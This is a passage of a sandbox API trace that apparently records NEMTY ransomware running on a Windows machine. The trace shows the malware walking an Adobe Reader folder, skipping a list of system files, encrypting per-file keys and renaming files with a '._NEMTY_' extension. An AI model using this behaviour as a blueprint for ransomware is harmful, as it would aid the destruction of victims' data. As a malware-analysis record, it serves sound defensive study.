CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0197.090] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0197.090] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0197.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0197.090] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="UBZKYyZVguTGeqos0irbI34KrBaH6zxma+U0OWnSASPHqoKKQMZ4xTpB0LfAof9O\r\n8f032C3fAUEGxcCnFqGzPju0Y/c57mI6Ba+v8XH6qs7teEifuzHh9zmvoivrZt+j\r\nd87fSD4qMHsqBcGXqzu+wgFM3qcOqxdIlrhHBdy19W/Yjm8xCofrpx9MBfe7Z1XA\r\ndUU5VTRic6uaHKWx1pk+AjaKN+EYn76MhN/iV2rO9/UxEC9JIwioPqlXJIgnvsE1\r\nmc1V5vMh0tJVHc4aJ4ep1IyaZxy/bg91MhA9Ii4O0RclokS3yWNBpsYoQkDKe4nB\r\nj9MZ3aBFgziF3w/1zM/Hfw==\r\n", pcchString=0x653e91c) returned 1 [0197.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0197.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0197.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0197.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0197.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.091] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0197.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0197.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.181] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0197.203] CloseHandle (hObject=0xffffffff) returned 0 [0197.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0197.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0197.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0197.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0197.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0197.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0197.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.203] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-3"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-3._nemty_kgobjgd_")) returned 0 [0197.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0197.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0197.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0197.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0197.204] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-4", cAlternateFileName="ADEA01~1")) returned 1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2=".") returned 1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="..") returned 1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="...") returned 1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="windows") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="$RECYCLE.BIN") returned 1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="rsa") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="NTDETECT.COM") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="ntldr") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="MSDOS.SYS") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="IO.SYS") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="boot.ini") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="boot.ini") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="AUTOEXEC.BAT") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="ntuser.dat") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="desktop.ini") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="CONFIG.SYS") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="RECYCLER") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="BOOTSECT.BAK") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="bootmgr") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="programdata") returned -1 [0197.204] lstrcmpiW (lpString1="Adobe-CNS1-4", lpString2="appdata") returned -1 [0197.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-4", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-4", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-4", lpUsedDefaultChar=0x0) returned 12 [0197.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-4", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-4", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-4", lpUsedDefaultChar=0x0) returned 12 [0197.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-4", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-4", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-4", lpUsedDefaultChar=0x0) returned 12 [0197.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-4", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-4", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-4", lpUsedDefaultChar=0x0) returned 12 [0197.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0197.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0197.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0197.205] Sleep (dwMilliseconds=0x5) [0197.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2931eb70, dwHighDateTime=0x1d561e8)) [0197.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2931eb70, dwHighDateTime=0x1d561e8)) [0197.213] GetLastError () returned 0x5 [0197.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0197.213] GetLastError () returned 0x5 [0197.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0197.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.213] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0197.213] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0197.214] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0197.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0197.214] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="dL2U6YVlKHAu6TT/6oaVeL2lKne1cQ+4Ma74sHTBNwinEU7jc8aknGc3qTkUiOHL\r\nH2Emzol9SbuJwv3/+n3OXcYjNUnxey/8t4/A6/clDk0oFZ9h+7y/f8gxVawppiKX\r\n93K7DA2PbyHFS1OkmH9Zx71qqFkTh7fnSzvtKhZKGe1FNqL4L8Dty/fuRPoIXz7v\r\n1s+qtON9OU4GMUv6TzlKhWkBd8oq9XE8SBhQFvQ9WWHfA/ZJFZOtQtjgkYKXEqu2\r\n196+NubSudZagHb1MtPudjvtYan/RsIhCTLktP46Fb+YZdRlBAwrmO2uMcrTVYZK\r\nq80axnKalkTIBMgSxJOyQw==\r\n", pcchString=0x653e91c) returned 1 [0197.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0197.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0197.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0197.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0197.214] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.214] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0197.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0197.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, 